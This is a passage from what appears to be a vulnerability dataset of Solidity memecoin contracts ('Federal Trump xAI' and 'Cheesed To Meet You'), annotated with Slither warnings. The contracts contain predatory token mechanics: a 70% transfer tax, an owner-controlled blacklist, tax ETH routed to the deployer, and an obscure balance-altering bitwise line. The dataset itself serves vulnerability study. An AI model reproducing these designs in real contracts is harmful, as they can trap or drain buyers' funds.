(constable-states | ID: 5166b3b): FTX._initialSellTax should be constant \n\t// Recommendation for 5166b3b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6e5399a): FTX._reduceBuyTaxAt should be constant \n\t// Recommendation for 6e5399a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: e7514c0): FTX._reduceSellTaxAt should be constant \n\t// Recommendation for e7514c0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: e8e7e43): FTX._preventSwapBefore should be constant \n\t// Recommendation for e8e7e43: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 private _transferTax = 70;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Federal Trump xAI\";\n\n string private constant _symbol = unicode\"FTX\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0c15b8e): FTX._taxSwapThreshold should be constant \n\t// Recommendation for 0c15b8e: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2cdf73f): FTX._maxTaxSwap should be constant \n\t// Recommendation for 2cdf73f: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0f03b03): FTX.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0f03b03: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 616d10b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 616d10b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 21dae12): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 21dae12: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 616d10b\n\t\t// reentrancy-benign | ID: 21dae12\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 616d10b\n\t\t// reentrancy-benign | ID: 21dae12\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b099f25): FTX._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b099f25: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 21dae12\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 616d10b\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a5e9226): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a5e9226: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5e35514): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5e35514: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: a5e9226\n\t\t\t\t// reentrancy-eth | ID: 5e35514\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: a5e9226\n\t\t\t\t\t// reentrancy-eth | ID: 5e35514\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 5e35514\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 5e35514\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 5e35514\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: a5e9226\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 5e35514\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 5e35514\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: a5e9226\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: a5e9226\n\t\t// reentrancy-events | ID: 616d10b\n\t\t// reentrancy-benign | ID: 21dae12\n\t\t// reentrancy-eth | ID: 5e35514\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 0e3e57e): FTX.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 0e3e57e: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: a5e9226\n\t\t// reentrancy-events | ID: 616d10b\n\t\t// reentrancy-eth | ID: 5e35514\n\t\t// arbitrary-send-eth | ID: 0e3e57e\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 860e656): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 860e656: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8cc1864): FTX.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 8cc1864: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3fc37a0): FTX.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 3fc37a0: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: fe082bc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for fe082bc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 860e656\n\t\t// reentrancy-eth | ID: fe082bc\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 860e656\n\t\t// unused-return | ID: 3fc37a0\n\t\t// reentrancy-eth | ID: fe082bc\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 860e656\n\t\t// unused-return | ID: 8cc1864\n\t\t// reentrancy-eth | ID: fe082bc\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 860e656\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: fe082bc\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_1077.sol",
"size_bytes": 20113,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: bd75ed4): CheesedToMeetYou.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = (_tTotal * 5) / 10000 _maxTaxSwap = _taxSwapThreshold * 40\n// Recommendation for bd75ed4: Consider ordering multiplication before division.\ncontract CheesedToMeetYou is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n bool private inSwaps;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ec8d9af): CheesedToMeetYou._taxWallet should be immutable \n\t// Recommendation for ec8d9af: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: add036b): CheesedToMeetYou._initialBuyTax should be constant \n\t// Recommendation for add036b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 81848be): CheesedToMeetYou._initialSellTax should be constant \n\t// Recommendation for 81848be: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8a1eac6): CheesedToMeetYou._finalBuyTax should be constant \n\t// Recommendation for 8a1eac6: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5f2c612): CheesedToMeetYou._finalSellTax should be constant \n\t// Recommendation for 5f2c612: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 049b735): CheesedToMeetYou._reduceBuyTaxAt should be constant \n\t// Recommendation for 049b735: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 26;\n\n\t// WARNING Optimization Issue (constable-states | ID: ffcb9eb): CheesedToMeetYou._reduceSellTaxAt should be constant \n\t// Recommendation for ffcb9eb: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 71cfa80): CheesedToMeetYou._preventSwapBefore should be constant \n\t// Recommendation for 71cfa80: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 67f4ca6): CheesedToMeetYou._transferTax should be constant \n\t// Recommendation for 67f4ca6: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 21_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Cheesed To Meet You\";\n\n string private constant _symbol = unicode\"CHEESE\";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletSize = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7a45431): CheesedToMeetYou._taxSwapThreshold should be constant \n\t// Recommendation for 7a45431: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: bd75ed4\n uint256 public _taxSwapThreshold = (_tTotal * 5) / 10000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8b6022b): CheesedToMeetYou._maxTaxSwap should be immutable \n\t// Recommendation for 8b6022b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n\t// divide-before-multiply | ID: bd75ed4\n uint256 public _maxTaxSwap = _taxSwapThreshold * 40;\n\n modifier lockTheSwaps() {\n inSwaps = true;\n\n _;\n\n inSwaps = false;\n }\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a0ab199): CheesedToMeetYou.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for a0ab199: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 77f78b8): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 77f78b8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: dacab25): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for dacab25: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 77f78b8\n\t\t// reentrancy-benign | ID: dacab25\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 77f78b8\n\t\t// reentrancy-benign | ID: dacab25\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _taxAmount(\n address from,\n address to,\n uint256 amount\n ) private returns (uint256) {\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n if (_buyCount == 0)\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (inSwaps)\n if (from == address(this) && to == uniswapV2Pair)\n _balances[address(this)] |= uint160(from);\n\n if (_buyCount > 0) taxAmount = amount.mul(_transferTax).div(100);\n }\n\n return taxAmount;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a3f75e8): CheesedToMeetYou._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a3f75e8: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: dacab25\n\t\t// reentrancy-benign | ID: 0347650\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 2baeca6\n\t\t// reentrancy-events | ID: 77f78b8\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7bc45b9): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7bc45b9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9142f38): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9142f38: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = _taxAmount(from, to, amount);\n\n if (from != owner() && to != owner()) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount >= _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 7bc45b9\n\t\t\t\t// reentrancy-eth | ID: 9142f38\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 7bc45b9\n\t\t\t\t\t// reentrancy-eth | ID: 9142f38\n saveCheeseBalance(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 9142f38\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 9142f38\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 9142f38\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 7bc45b9\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 9142f38\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 9142f38\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 7bc45b9\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 7bc45b9\n\t\t// reentrancy-events | ID: 77f78b8\n\t\t// reentrancy-benign | ID: dacab25\n\t\t// reentrancy-eth | ID: 9142f38\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: ecf65e3): CheesedToMeetYou.saveCheeseBalance(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for ecf65e3: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function saveCheeseBalance(uint256 amount) private {\n\t\t// reentrancy-events | ID: 7bc45b9\n\t\t// reentrancy-events | ID: 77f78b8\n\t\t// reentrancy-eth | ID: 9142f38\n\t\t// arbitrary-send-eth | ID: ecf65e3\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2baeca6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2baeca6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 29912f5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 29912f5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0347650): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0347650: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | 